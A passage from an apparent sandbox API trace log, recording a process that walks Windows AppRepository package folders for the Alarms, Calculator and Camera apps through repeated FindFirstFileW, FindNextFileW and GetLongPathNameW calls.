ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe38e4773, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0215.413] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37d9839, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe37d9839, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe38e4773, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0215.413] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.414] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0215.415] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7a [0215.415] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0215.416] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7b [0215.416] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6efe350, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd5dd92fc, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0215.418] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6efe350, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd5dd92fc, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.419] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c9dfeb, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe3c9dfeb, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe3d5cd3d, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0215.419] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.419] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0215.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.420] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0215.575] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7a [0215.575] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0215.576] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7b [0215.577] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6efe350, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd5dd92fc, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.579] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6efe350, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd5dd92fc, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.579] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c9dfeb, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe3c9dfeb, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe3d5cd3d, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0215.579] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c9dfeb, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe3c9dfeb, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe3d5cd3d, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0215.580] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.591] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e314ea, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x56b938ba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56b938ba, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.592] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55880b0b, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x55880b0b, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x559d80f9, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0215.592] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b938ba, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56b938ba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56c2c343, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.593] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557c1dda, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x557c1dda, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55880b0b, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.593] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.593] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.596] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e314ea, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x56b938ba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56b938ba, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.597] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55880b0b, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x55880b0b, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x559d80f9, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0215.597] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b938ba, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56b938ba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56c2c343, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.598] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557c1dda, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x557c1dda, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55880b0b, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.598] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557c1dda, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x557c1dda, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55880b0b, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0215.598] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.602] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e0b217, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x56c52588, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56c52588, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.603] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55a96ece, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x55a96ece, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55bee13e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0215.603] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56c52588, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56c52588, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56ceb0d2, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0xe88, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.603] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x559fe41f, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x559fe41f, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55a96ece, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0xec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.603] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.604] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.606] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e0b217, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x56c52588, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56c52588, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.607] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55a96ece, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x55a96ece, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55bee13e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0215.607] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56c52588, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56c52588, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56ceb0d2, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0xe88, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.608] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x559fe41f, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x559fe41f, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55a96ece, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0xec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.608] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x559fe41f, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x559fe41f, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55a96ece, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0xec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0215.608] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.766] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0215.768] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0215.769] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7f [0215.773] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0215.774] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0215.775] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7f [0215.778] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0215.781] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0215.782] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7b [0215.787] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All 